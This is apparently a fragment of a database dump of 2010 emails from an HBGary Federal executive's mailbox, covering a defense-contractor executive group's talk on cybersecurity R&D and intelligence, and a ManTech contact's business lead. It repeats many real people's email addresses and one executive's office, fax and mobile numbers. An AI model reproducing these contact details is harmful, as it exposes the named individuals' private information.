R&amp;D, but would like to see the management/standardization and technology adoption areas addressed as\r\n well.\r\n&nbsp;\r\nMy 2c\r\n&nbsp;\r\nScott\r\n&nbsp;\r\nScott Miller\r\nGM, National Security Group\r\nMicrosoft Services, U.S. Public Sector\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Thursday, June 24, 2010 10:18 AM\r\nTo: Varner, Bill\r\nCc: alexander.miller@l-3com.com; barbara.g.fast@boeing.com; bill.phelps@accenture.com; bmalexia@rockwellcollins.com; ccpalmer@us.ibm.com; coxld@saic.com; david_joslin@federal.dell.com; dusty.wince@knowledgecg.com; ed.gibson@us.pwc.com; gjg@mitre.org;\r\n jkoenig@harris.com; john.osterholz@baesystems.com; jpayne@telcordia.com; jreagan@deloitte.com; jwatters@isightpartners.com; kathy.warden@ngc.com; kenneth.sannicolas@stanleyassociates.com; lance.cottrell@abraxascorp.com; michael.fraser@usis.com; nadia.short@gd-ais.com;\r\n pat.burke@sra.com; rdix@juniper.net; rodney.joffe@neustar.biz; roger_anderson@appsig.com; samuel.chun@hp.com; Scott Miller (FEDERAL); shawn.carroll@qwest.com; skip.foote@americansystems.com; steve_k_hawkins@raytheon.com; svisner@csc.com; tiffany_jones@symantec.com;\r\n wcooper@cisco.com; zazmi@caci.com; Jim Garrettson; jd@executivebiz.com; Jennifer Jordan - Harrell\r\nSubject: Re: Belated Greetings!\r\n\r\n\r\n&nbsp;\r\nBill,\r\n\r\n&nbsp;\r\n\r\n\r\nThank you for putting this group together. &nbsp;The possibilities are exciting.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nI had a few thoughts I wanted to share with the group to maybe generate some conversation.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nDuring our diner there was some discussion about R&amp;D. &nbsp;While I support the investment in cyber R&amp;D for long range capabilities I actually believe we are spending too much on R&amp;D at the moment and are neglecting meaningful integration and\r\n maturation of capabilities that exist today. &nbsp;What we significantly lack is knowledge management and information sharing processes that leverage existing technologies&nbsp;\r\n\r\n\r\nOn Jun 23, 2010, at 3:34 PM, Varner, Bill wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nLadies and Gentlemen,\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nPlease accept my apologies for not yet sending out the correspondence I promised following our dinner last week. A few unexpected meetings, a last minute trip to the West\r\n Coast, and yes, some actual work&#8230;you know how it is.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nI was very pleased by the enthusiastic start to our group. I thought Bill Crowell did his usual great job, and our questions kept him thinking the entire evening.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nWe are going to try to get the group together, maybe for a breakfast, before our September dinner, to discuss how we might go forward with some of the ideas we discussed.\r\n Jennifer and I will work schedules.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nI do promise to send out the meeting notes asap&#8230;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nThanks again for your participation &#8211; our group is going to set all of the ExecutiveBiz records for attendance, membership, and enthusiasm!\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nThanks,&nbsp; Bill\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nL. William Varner\r\n\r\n\r\nPresident\r\n\r\n\r\nMission, Cyber &amp; Technology Solutions Group\r\n\r\n\r\nManTech International Corporation\r\n\r\n\r\n2250 Corporate Park Drive, Suite 500\r\n\r\n\r\nHerndon, VA 20171\r\n\r\n\r\nOffice: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;\r\n\r\n\r\nEmail:&nbsp;Bill.Varner@Mantech.com\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\nCEO\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n',8409,'aaron_hbgary_com/8409.html'),(7745,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005989.M964744P14101Q2600.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Belated Greetings!','From my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: June 24, 2010 10:18:11 AM EDTTo: &quot;Varner, Bill&quot; &lt;Bill.Varner@ManTech.com&gt;Cc: &lt;alexander.miller@l-3com.com&gt;, &lt;barbara.g.fast@boeing.com&gt;, &lt;bill.phelps@accenture.com&gt;, &lt;bmalexia@rockwellcollins.com&gt;, &lt;ccpalmer@us.ibm.com&gt;, &lt;coxld@saic.com&gt;, &lt;david_joslin@federal.dell.com&gt;, &lt;dusty.wince@knowledgecg.com&gt;, &lt;ed.gibson@us.pwc.com&gt;, &lt;gjg@mitre.org&gt;, &lt;jkoenig@harris.com&gt;, &lt;john.osterholz@baesystems.com&gt;, &lt;jpayne@telcordia.com&gt;, &lt;jreagan@deloitte.com&gt;, &lt;jwatters@isightpartners.com&gt;, &lt;kathy.warden@ngc.com&gt;, &lt;kenneth.sannicolas@stanleyassociates.com&gt;, &lt;lance.cottrell@abraxascorp.com&gt;, &lt;michael.fraser@usis.com&gt;, &lt;nadia.short@gd-ais.com&gt;, &lt;pat.burke@sra.com&gt;, &lt;rdix@juniper.net&gt;, &lt;rodney.joffe@neustar.biz&gt;, &lt;roger_anderson@appsig.com&gt;, &lt;samuel.chun@hp.com&gt;, &lt;scottmil@microsoft.com&gt;, &lt;shawn.carroll@qwest.com&gt;, &lt;skip.foote@americansystems.com&gt;, &lt;steve_k_hawkins@raytheon.com&gt;, &lt;svisner@csc.com&gt;, &lt;tiffany_jones@symantec.com&gt;, &lt;wcooper@cisco.com&gt;, &lt;zazmi@caci.com&gt;, &quot;Jim Garrettson&quot; &lt;jimg@executivebiz.com&gt;, &lt;jd@executivebiz.com&gt;, &quot;Jennifer Jordan - Harrell&quot; &lt;jennifer@executivebiz.com&gt;\r\nSubject: Re: Belated Greetings!Bill,Thank you for putting this group together.  The possibilities are exciting.\r\nI had a few thoughts I wanted to share with the group to maybe generate some conversation.During our diner there was some discussion about R&amp;D.  While I support the investment in cyber R&amp;D for long range capabilities I actually believe we are spending too much on R&amp;D at the moment and are neglecting meaningful integration and maturation of capabilities that exist today.  What we significantly lack is knowledge management and information sharing processes that leverage existing technologies \r\nOn Jun 23, 2010, at 3:34 PM, Varner, Bill wrote:\r\nLadies and Gentlemen,\r\n \r\nPlease accept my apologies for not yet sending out the correspondence I promised following our dinner last week. A few unexpected meetings, a last minute trip to the West Coast, and yes, some actual work…you know how it is.\r\n \r\nI was very pleased by the enthusiastic start to our group. I thought Bill Crowell did his usual great job, and our questions kept him thinking the entire evening.\r\n We are going to try to get the group together, maybe for a breakfast, before our September dinner, to discuss how we might go forward with some of the ideas we discussed. Jennifer and I will work schedules.\r\n \r\nI do promise to send out the meeting notes asap… \r\nThanks again for your participation – our group is going to set all of the ExecutiveBiz records for attendance, membership, and enthusiasm!\r\n Thanks,  Bill\r\n L. William Varner\r\nPresidentMission, Cyber &amp; Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171\r\nOffice: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909 \r\nEmail: Bill.Varner@Mantech.com\r\n \r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',9041,'aaron_hbgary_com/9041.html'),(7746,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005990.M349667P14101Q2601.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Belated Greetings!','From my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: June 24, 2010 10:26:47 AM EDTTo: &quot;Varner, Bill&quot; &lt;Bill.Varner@ManTech.com&gt;Cc: &lt;alexander.miller@l-3com.com&gt;, &lt;barbara.g.fast@boeing.com&gt;, &lt;bill.phelps@accenture.com&gt;, &lt;bmalexia@rockwellcollins.com&gt;, &lt;ccpalmer@us.ibm.com&gt;, &lt;coxld@saic.com&gt;, &lt;david_joslin@federal.dell.com&gt;, &lt;dusty.wince@knowledgecg.com&gt;, &lt;ed.gibson@us.pwc.com&gt;, &lt;gjg@mitre.org&gt;, &lt;jkoenig@harris.com&gt;, &lt;john.osterholz@baesystems.com&gt;, &lt;jpayne@telcordia.com&gt;, &lt;jreagan@deloitte.com&gt;, &lt;jwatters@isightpartners.com&gt;, &lt;kathy.warden@ngc.com&gt;, &lt;kenneth.sannicolas@stanleyassociates.com&gt;, &lt;lance.cottrell@abraxascorp.com&gt;, &lt;michael.fraser@usis.com&gt;, &lt;nadia.short@gd-ais.com&gt;, &lt;pat.burke@sra.com&gt;, &lt;rdix@juniper.net&gt;, &lt;rodney.joffe@neustar.biz&gt;, &lt;roger_anderson@appsig.com&gt;, &lt;samuel.chun@hp.com&gt;, &lt;scottmil@microsoft.com&gt;, &lt;shawn.carroll@qwest.com&gt;, &lt;skip.foote@americansystems.com&gt;, &lt;steve_k_hawkins@raytheon.com&gt;, &lt;svisner@csc.com&gt;, &lt;tiffany_jones@symantec.com&gt;, &lt;wcooper@cisco.com&gt;, &lt;zazmi@caci.com&gt;, &quot;Jim Garrettson&quot; &lt;jimg@executivebiz.com&gt;, &lt;jd@executivebiz.com&gt;, &quot;Jennifer Jordan - Harrell&quot; &lt;jennifer@executivebiz.com&gt;\r\nSubject: Re: Belated Greetings!All,Apologies.Premature send on the last email.  Let me finish the thought.\r\nCybersecurity is not an IT problem, it is an intelligence problem, and currently we lack proper integration of datasets to develop the intelligence knowledge base of threats.  We are fighting blind.\r\nI think there are existing capabilities that can make significant inroads but as all of you are well aware there are certain obstacles as well.This group I think collectively has the ability to influence maybe some solution sets to this problem.  What I was getting to in discussing R&amp;D is we seem to have a focus on the opposite end of the solution spectrum, either we are funding R&amp;D or we are developing solutions for targeted opportunities.  I am not aware of a sufficient program to fund intermediate, meaningful integration of broader solutions.\r\nWe lack the standard methodologies for data integration, knowledge management, and information sharing.  This is our biggest limiter.Two suggestions.  The group collectively develop or write a paper suggesting a methodology and we help to influence the government to develop a mechanism for funding of integrated solutions.\r\nThoughts?AaronOn Jun 23, 2010, at 3:34 PM, Varner, Bill wrote:\r\n\r\nLadies and Gentlemen,\r\n \r\nPlease accept my apologies for not yet sending out the correspondence I promised following our dinner last week. A few unexpected meetings, a last minute trip to the West Coast, and yes, some actual work…you know how it is.\r\n \r\nI was very pleased by the enthusiastic start to our group. I thought Bill Crowell did his usual great job, and our questions kept him thinking the entire evening.\r\n We are going to try to get the group together, maybe for a breakfast, before our September dinner, to discuss how we might go forward with some of the ideas we discussed. Jennifer and I will work schedules.\r\n \r\nI do promise to send out the meeting notes asap… \r\nThanks again for your participation – our group is going to set all of the ExecutiveBiz records for attendance, membership, and enthusiasm!\r\n Thanks,  Bill\r\n L. William Varner\r\nPresidentMission, Cyber &amp; Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171\r\nOffice: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909 \r\nEmail: Bill.Varner@Mantech.com\r\n \r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',7718,'aaron_hbgary_com/7718.html'),(7747,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005990.M668761P14101Q2602.eml','\"Frisbie, Robert P\" <Robert.Frisbie@mantech.com>','Re: USINSCOM','Yes.\r\n\r\n From my iPhone\r\n\r\nOn Jun 24, 2010, at 10:30 AM, \"Frisbie, Robert P\"  wrote:\r\n\r\n> Turns out that I have some classified capabilities very close to what\r\n> you did in Colorado lab.\r\n>\r\n> We also have a opportunity called GaitorBait that may be something we\r\n> should talk about.\r\n>\r\n> Interested?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, June 24, 2010 9:27 AM\r\n> To: Frisbie, Robert P\r\n> Subject: USINSCOM\r\n>\r\n> Hi Bob,\r\n>\r\n> I have a meeting on Friday with the Chief of the Red Team and Blue\r\n> Team\r\n> at INSCOM as a result of a briefing I did at NSA last week on New\r\n> Media.\r\n> Turns out there is significant anxiety in DoD since a new directive\r\n> was\r\n> signed a few months ago authorizing access to social/new media\r\n> on .mil.\r\n> I am going to be talking to them about Incident Response, New Media\r\n> and\r\n> its uses and vulnerabilities, IO.  I wasn\'t sure if you have any\r\n> work in\r\n> that area again yet, but thought this might be of interest.\r\n>\r\n> I am starting to work on a curriculum to provide training to\r\n> organizations on new media familiarization, concerns, processes to\r\n> improve protection, etc.  Also looking into what type of solutions we\r\n> can build to help organizations.  New Media is something I know a\r\n> little\r\n> about. ;)\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',9925,'aaron_hbgary_com/9925.html'),(7748,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005990.M952560P14101Q2603.eml','\"Frisbie, Robert P\" <Robert.Frisbie@mantech.com>','Re: USINSCOM','When can we get together?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 24, 2010, at 10:30 AM, \"Frisbie, Robert P\"  wrote:\r\n\r\n> Turns out that I have some classified capabilities very close to what\r\n> you did in Colorado lab.\r\n>\r\n> We also have a opportunity called GaitorBait that may be something we\r\n> should talk about.\r\n>\r\n> Interested?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, June 24, 2010 9:27 AM\r\n> To: Frisbie, Robert P\r\n> Subject: USINSCOM\r\n>\r\n> Hi Bob,\r\n>\r\n> I have a meeting on Friday with the Chief of the Red Team and Blue\r\n> Team\r\n> at INSCOM as a result of a briefing I did at NSA last week on New\r\n> Media.\r\n> Turns out there is significant anxiety in DoD since a new directive\r\n> was\r\n> signed a few months ago authorizing access to social/new media\r\n> on .mil.\r\n> I am going to be talking to them about Incident Response, New Media\r\n> and\r\n> its uses and vulnerabilities, IO.  I wasn\'t sure if you have any\r\n> work in\r\n> that area again yet, but thought this might be of interest.\r\n>\r\n> I am starting to work on a curriculum to provide training to\r\n> organizations on new media familiarization, concerns, processes to\r\n> improve protection, etc.  Also looking into what type of solutions we\r\n> can build to help organizations.  New Media is something I know a\r\n> little\r\n> about. ;)\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',3594,'aaron_hbgary_com/3594.html'),(7749,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005991.M514043P14101Q2604.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: USINSCOM','From my iPhoneBegin forwarded message:From: &quot;Frisbie, Robert P&quot; &lt;Robert.Frisbie@ManTech.com&gt;\r\nDate: June 24, 2010 10:30:25 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: USINSCOM\r\nTurns out that I have some classified capabilities very close to whatyou did in Colorado lab.We also have a opportunity called GaitorBait that may be something we\r\nshould talk about.Interested?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 24, 2010 9:27 AMTo: Frisbie, Robert PSubject: USINSCOMHi Bob,I have a meeting on Friday with the Chief of the Red Team and Blue Team\r\nat INSCOM as a result of a briefing I did at NSA last week on New Media.Turns out there is significant anxiety in DoD since a new directive wassigned a few months ago authorizing access to social/new media on .mil.\r\nI am going to be talking to them about Incident Response, New Media andits uses and vulnerabilities, IO.  I wasn&#39;t sure if you have any work inthat area again yet, but thought this might be of interest.\r\nI am starting to work on a curriculum to provide training toorganizations on new media familiarization, concerns, processes toimprove protection, etc.  Also looking into what type of solutions we\r\ncan build to help organizations.  New Media is something I know a littleabout. ;)Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',15846,'aaron_hbgary_com/15846.html'),(7750,'2010-06-24','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297005992.M103734P14101Q2605.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: Dinner @ Haandi @ Fri Jun 25 7:30pm - 8:30pm (Don Bailey)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron - see you tomorrow evening.\r\n&nbsp;\r\n\r\n\r\n\r\n',15737,'aaron_hbgary_com/15737.html'),(7751,'2010-06-24','\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>','/aaron@hbgary.com/new/1297005992.M439837P14101Q2606.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Bill.Varner@ManTech.com\" <Bill.Varner@ManTech.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Bill.Varner@ManTech.com\" <Bill.Varner@ManTech.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Re: Belated Greetings!','\r\nGreat input. Assigning cybersecurity to the IT department is a strategic faux pas.  For cybersecurity, a root intell discipline might well be (perish the thought) HUMINT vice signals intelligence.  Ant takers? John OsterholzVice PresidentCyber Warfare and Cybersecurity\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;Cc: alexander.miller@l-3com.com &lt;alexander.miller@l-3com.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; Osterholz, John (US SSA); jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;; Jim Garrettson &lt;jimg@executivebiz.com&gt;; jd@executivebiz.com &lt;jd@executivebiz.com&gt;; Jennifer Jordan - Harrell &lt;jennifer@executivebiz.com&gt;Sent: Thu Jun 24 10:26:47 2010Subject: Re: Belated Greetings!\r\nAll,Apologies.Premature send on the last email. &nbsp;Let me finish the thought.Cybersecurity is not an IT problem, it is an intelligence problem, and currently we lack proper integration of datasets to develop the intelligence knowledge base of threats. &nbsp;We are fighting blind.I think there are existing capabilities that can make significant inroads but as all of you are well aware there are certain obstacles as well.This group I think collectively has the ability to influence maybe some solution sets to this problem. &nbsp;What I was getting to in discussing R&amp;D is we seem to have a focus on the opposite end of the solution spectrum, either we are funding R&amp;D or we are developing solutions for targeted opportunities. &nbsp;I am not aware of a sufficient program to fund intermediate, meaningful integration of broader solutions.We lack the standard methodologies for data integration, knowledge management, and information sharing. &nbsp;This is our biggest limiter.Two suggestions. &nbsp;The group collectively develop or write a paper suggesting a methodology and we help to influence the government to develop a mechanism for funding of integrated solutions.Thoughts?AaronOn Jun 23, 2010, at 3:34 PM, Varner, Bill wrote:Ladies and Gentlemen,&nbsp;Please accept my apologies for not yet sending out the correspondence I promised following our dinner last week. A few unexpected meetings, a last minute trip to the West Coast, and yes, some actual work…you know how it is.&nbsp;I was very pleased by the enthusiastic start to our group. I thought Bill Crowell did his usual great job, and our questions kept him thinking the entire evening.&nbsp;We are going to try to get the group together, maybe for a breakfast, before our September dinner, to discuss how we might go forward with some of the ideas we discussed. Jennifer and I will work schedules.&nbsp;I do promise to send out the meeting notes asap…&nbsp;Thanks again for your participation – our group is going to set all of the ExecutiveBiz records for attendance, membership, and enthusiasm!&nbsp;Thanks,&nbsp; Bill&nbsp;L. William VarnerPresidentMission, Cyber &amp; Technology Solutions GroupManTech International Corporation2250 Corporate Park Drive, Suite 500Herndon, VA 20171Office: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp;Email:&nbsp;Bill.Varner@Mantech.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9284,'aaron_hbgary_com/9284.html'),(7752,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005992.M783062P14101Q2607.eml','\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>,\"Osterholz, John (US SSA)\" <john.osterholz@baesystems.com>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,','Re: Belated Greetings!','Now your speaking my language. :)I agree in the end HUMINT capabilities have to play a much larger role.It&#39;s non traditional HUMINT though.  Requires some added skillsets and broader authorities.  To play in that space requires the ability to move at the seed of the environment in which your operating, not at the speed of government.\r\nAaronFrom my iPhoneOn Jun 24, 2010, at 10:56 AM, &quot;Osterholz, John (US SSA)&quot; &lt;john.osterholz@baesystems.com&gt; wrote:\r\n\r\nGreat input. Assigning cybersecurity to the IT department is a strategic faux pas.  For cybersecurity, a root intell discipline might well be (perish the thought) HUMINT vice signals intelligence.  Ant takers? \r\nJohn Osterholz\r\nVice President\r\nCyber Warfare and Cybersecurity\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;\r\nCc: alexander.miller@l-3com.com &lt;alexander.miller@l-3com.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; Osterholz, John (US SSA); jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; michael.fraser@usis.com &lt;michael.fraser@usis.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;; Jim Garrettson &lt;jimg@executivebiz.com&gt;; jd@executivebiz.com &lt;jd@executivebiz.com&gt;; Jennifer Jordan - Harrell &lt;jennifer@executivebiz.com&gt;\r\nSent: Thu Jun 24 10:26:47 2010Subject: Re: Belated Greetings!\r\n\r\nAll,Apologies.Premature send on the last email.  Let me finish the thought.Cybersecurity is not an IT problem, it is an intelligence problem, and currently we lack proper integration of datasets to develop the intelligence knowledge base of threats.  We are fighting blind.\r\nI think there are existing capabilities that can make significant inroads but as all of you are well aware there are certain obstacles as well.This group I think collectively has the ability to influence maybe some solution sets to this problem.  What I was getting to in discussing R&amp;D is we seem to have a focus on the opposite end of the solution spectrum, either we are funding R&amp;D or we are developing solutions for targeted opportunities.  I am not aware of a sufficient program to fund intermediate, meaningful integration of broader solutions.\r\nWe lack the standard methodologies for data integration, knowledge management, and information sharing.  This is our biggest limiter.Two suggestions.  The group collectively develop or write a paper suggesting a methodology and we help to influence the government to develop a mechanism for funding of integrated solutions.\r\nThoughts?AaronOn Jun 23, 2010, at 3:34 PM, Varner, Bill wrote:\r\n\r\nLadies and Gentlemen,\r\n \r\nPlease accept my apologies for not yet sending out the correspondence I promised following our dinner last week. A few unexpected meetings, a last minute trip to the West Coast, and yes, some actual work…you know how it is.\r\n \r\nI was very pleased by the enthusiastic start to our group. I thought Bill Crowell did his usual great job, and our questions kept him thinking the entire evening.\r\n We are going to try to get the group together, maybe for a breakfast, before our September dinner, to discuss how we might go forward with some of the ideas we discussed. Jennifer and I will work schedules.\r\n \r\nI do promise to send out the meeting notes asap… \r\nThanks again for your participation – our group is going to set all of the ExecutiveBiz records for attendance, membership, and enthusiasm!\r\n Thanks,  Bill\r\n L. William Varner\r\nPresidentMission, Cyber &amp; Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171\r\nOffice: (703) 674-2778 l E-fax: (571) 485-2362 l Mobile: (703) 475-7909 \r\nEmail: Bill.Varner@Mantech.com\r\n \r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',2506,'aaron_hbgary_com/2506.html'),(7753,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005993.M140767P14101Q2608.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Belated Greetings!',':). I&#39;m happyFrom my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: June 24, 2010 11:08:42 AM EDTTo: &quot;Osterholz, John (US SSA)&quot; &lt;john.osterholz@baesystems.com&gt;Cc: &quot;Bill.Varner@ManTech.com&quot; &lt;Bill.Varner@mantech.com&gt;,  &quot;alexander.miller@l-3com.com&quot; &lt;alexander.miller@l-3com.com&gt;,  &quot;Barbara.G.Fast@boeing.com&quot; &lt;Barbara.G.Fast@boeing.com&gt;,  &quot;bill.phelps@accenture.com&quot; &lt;bill.phelps@accenture.com&gt;,  &quot;bmalexia@rockwellcollins.com&quot; &lt;bmalexia@rockwellcollins.com&gt;, &quot;ccpalmer@us.ibm.com&quot; &lt;ccpalmer@us.ibm.com&gt;,  &quot;coxld@saic.com&quot; &lt;coxld@saic.com&gt;,  &quot;david_joslin@federal.dell.com&quot; &lt;david_joslin@federal.dell.com&gt;,  &quot;dusty.wince@knowledgecg.com&quot; &lt;dusty.wince@knowledgecg.com&gt;, &quot;ed.gibson@us.pwc.com&quot; &lt;ed.gibson@us.pwc.com&gt;,  &quot;gjg@mitre.org&quot; &lt;gjg@mitre.org&gt;, &quot;jkoenig@harris.com&quot; &lt;jkoenig@harris.com&gt;,  &quot;jpayne@telcordia.com&quot; &lt;jpayne@telcordia.com&gt;, &quot;jreagan@deloitte.com&quot; &lt;jreagan@deloitte.com&gt;,  &quot;jwatters@isightpartners.com&quot; &lt;jwatters@isightpartners.com&gt;, &quot;kathy.warden@ngc.com&quot; &lt;kathy.warden@ngc.com&gt;,  &quot;kenneth.sannicolas@stanleyassociates.com&quot; &lt;kenneth.sannicolas@stanleyassociates.com&gt;,  &quot;lance.cottrell@abraxascorp.com&quot; &lt;lance.cottrell@abraxascorp.com&gt;,  &quot;michael.fraser@usis.com&quot; &lt;michael.fraser@usis.com&gt;, &quot;nadia.short@gd-ais.com&quot; &lt;nadia.short@gd-ais.com&gt;,  &quot;pat.burke@sra.com&quot; &lt;pat.burke@sra.com&gt;, &quot;rdix@juniper.net&quot; &lt;rdix@juniper.net&gt;,  &quot;rodney.joffe@neustar.biz&quot; &lt;rodney.joffe@neustar.biz&gt;,  &quot;roger_anderson@appsig.com&quot; &lt;roger_anderson@appsig.com&gt;, &quot;samuel.chun@hp.com&quot; &lt;samuel.chun@hp.com&gt;,  